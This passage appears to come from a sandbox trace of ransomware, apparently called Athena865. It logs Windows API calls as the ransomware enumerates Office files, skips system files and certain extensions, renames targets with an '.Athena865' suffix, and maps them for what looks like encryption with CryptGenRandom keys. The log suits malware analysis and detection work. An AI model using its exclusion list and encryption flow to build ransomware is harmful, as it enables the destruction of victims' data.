lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.087] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.087] CloseHandle (hObject=0x17c) returned 1 [0145.087] CloseHandle (hObject=0x154) returned 1 [0145.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.087] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PASTEL.CSS", cAlternateFileName="")) returned 1 [0145.087] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.087] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2=".") returned 1 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="..") returned 1 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="windows") returned -1 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="bootmgr") returned 1 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="temp") returned -1 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="pagefile.sys") returned 1 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="boot") returned 1 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="ids.txt") returned 1 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="ntuser.dat") returned 1 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="perflogs") returned -1 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2="MSBuild") returned 1 [0145.088] lstrlenW (lpString="PASTEL.CSS") returned 10 [0145.088] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PASTEL.CSS" | out: lpString1="PASTEL.CSS") returned="PASTEL.CSS" [0145.088] lstrlenW (lpString="PASTEL.CSS") returned 10 [0145.088] lstrlenW (lpString="Athena865") returned 9 [0145.088] lstrcmpiW (lpString1="ASTEL.CSS", lpString2="Athena865") returned -1 [0145.088] lstrlenW (lpString=".dll") returned 4 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2=".dll") returned 1 [0145.088] lstrlenW (lpString=".lnk") returned 4 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2=".lnk") returned 1 [0145.088] lstrlenW (lpString=".ini") returned 4 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2=".ini") returned 1 [0145.088] lstrlenW (lpString=".sys") returned 4 [0145.088] lstrcmpiW (lpString1="PASTEL.CSS", lpString2=".sys") returned 1 [0145.088] lstrlenW (lpString="PASTEL.CSS") returned 10 [0145.088] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS.Athena865") returned 68 [0145.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css.athena865"), dwFlags=0x1) returned 1 [0145.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.090] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0145.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.091] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.091] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.091] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.091] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x17c [0145.093] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0145.094] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.094] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.094] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.095] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.095] CloseHandle (hObject=0x17c) returned 1 [0145.095] CloseHandle (hObject=0x154) returned 1 [0145.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.096] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b8c480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE.VSL", cAlternateFileName="")) returned 1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2=".") returned 1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="..") returned 1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="windows") returned -1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="bootmgr") returned 1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="temp") returned -1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="pagefile.sys") returned 1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="boot") returned 1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="ids.txt") returned 1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="ntuser.dat") returned 1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="perflogs") returned -1 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2="MSBuild") returned 1 [0145.096] lstrlenW (lpString="PE.VSL") returned 6 [0145.096] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PE.VSL" | out: lpString1="PE.VSL") returned="PE.VSL" [0145.096] lstrlenW (lpString="PE.VSL") returned 6 [0145.096] lstrlenW (lpString="Athena865") returned 9 [0145.096] lstrlenW (lpString=".dll") returned 4 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2=".dll") returned 1 [0145.096] lstrlenW (lpString=".lnk") returned 4 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2=".lnk") returned 1 [0145.096] lstrlenW (lpString=".ini") returned 4 [0145.096] lstrcmpiW (lpString1="PE.VSL", lpString2=".ini") returned 1 [0145.097] lstrlenW (lpString=".sys") returned 4 [0145.097] lstrcmpiW (lpString1="PE.VSL", lpString2=".sys") returned 1 [0145.097] lstrlenW (lpString="PE.VSL") returned 6 [0145.097] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.Athena865") returned 64 [0145.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.athena865"), dwFlags=0x1) returned 1 [0145.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.099] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=84352) returned 1 [0145.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.099] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.100] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.100] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.100] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14c80, lpName=0x0) returned 0x17c [0145.102] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14c80) returned 0x100000 [0145.106] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.107] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.107] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.107] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.108] CloseHandle (hObject=0x17c) returned 1 [0145.108] CloseHandle (hObject=0x154) returned 1 [0145.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.109] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cd5800, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x50bfe8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5cd5800, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PIPELINE.VRD", cAlternateFileName="")) returned 1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2=".") returned 1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="..") returned 1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="windows") returned -1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="bootmgr") returned 1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="temp") returned -1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="pagefile.sys") returned 1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="boot") returned 1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="ids.txt") returned 1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="ntuser.dat") returned 1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="perflogs") returned 1 [0145.109] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2="MSBuild") returned 1 [0145.109] lstrlenW (lpString="PIPELINE.VRD") returned 12 [0145.109] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PIPELINE.VRD" | out: lpString1="PIPELINE.VRD") returned="PIPELINE.VRD" [0145.109] lstrlenW (lpString="PIPELINE.VRD") returned 12 [0145.109] lstrlenW (lpString="Athena865") returned 9 [0145.110] lstrcmpiW (lpString1="ELINE.VRD", lpString2="Athena865") returned 1 [0145.110] lstrlenW (lpString=".dll") returned 4 [0145.110] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2=".dll") returned 1 [0145.110] lstrlenW (lpString=".lnk") returned 4 [0145.110] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2=".lnk") returned 1 [0145.110] lstrlenW (lpString=".ini") returned 4 [0145.110] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2=".ini") returned 1 [0145.110] lstrlenW (lpString=".sys") returned 4 [0145.110] lstrcmpiW (lpString1="PIPELINE.VRD", lpString2=".sys") returned 1 [0145.110] lstrlenW (lpString="PIPELINE.VRD") returned 12 [0145.110] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.Athena865") returned 70 [0145.110] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.athena865"), dwFlags=0x1) returned 1 [0145.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.112] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1920) returned 1 [0145.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.113] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.113] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.113] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.114] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa80, lpName=0x0) returned 0x17c [0145.115] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa80) returned 0x100000 [0145.116] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.116] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.116] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.117] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.117] CloseHandle (hObject=0x17c) returned 1 [0145.117] CloseHandle (hObject=0x154) returned 1 [0145.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.118] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xdf0d2c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x33a380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PJINTL.DLL", cAlternateFileName="")) returned 1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2=".") returned 1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="..") returned 1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="windows") returned -1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="bootmgr") returned 1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="temp") returned -1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="pagefile.sys") returned 1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="boot") returned 1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="ids.txt") returned 1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="ntuser.dat") returned 1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="perflogs") returned 1 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2="MSBuild") returned 1 [0145.118] lstrlenW (lpString="PJINTL.DLL") returned 10 [0145.118] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PJINTL.DLL" | out: lpString1="PJINTL.DLL") returned="PJINTL.DLL" [0145.118] lstrlenW (lpString="PJINTL.DLL") returned 10 [0145.118] lstrlenW (lpString="Athena865") returned 9 [0145.118] lstrcmpiW (lpString1="JINTL.DLL", lpString2="Athena865") returned 1 [0145.118] lstrlenW (lpString=".dll") returned 4 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2=".dll") returned 1 [0145.118] lstrlenW (lpString=".lnk") returned 4 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2=".lnk") returned 1 [0145.118] lstrlenW (lpString=".ini") returned 4 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2=".ini") returned 1 [0145.118] lstrlenW (lpString=".sys") returned 4 [0145.118] lstrcmpiW (lpString1="PJINTL.DLL", lpString2=".sys") returned 1 [0145.119] lstrlenW (lpString="PJINTL.DLL") returned 10 [0145.119] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.Athena865") returned 68 [0145.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.athena865"), dwFlags=0x1) returned 1 [0145.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.122] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3384192) returned 1 [0145.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.122] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.123] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.123] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.123] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33a680, lpName=0x0) returned 0x17c [0145.125] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x13a680) returned 0x2bb0000 [0145.261] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.261] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.261] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.262] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0145.274] CloseHandle (hObject=0x17c) returned 1 [0145.274] CloseHandle (hObject=0x154) returned 1 [0145.274] HeapFree (in: 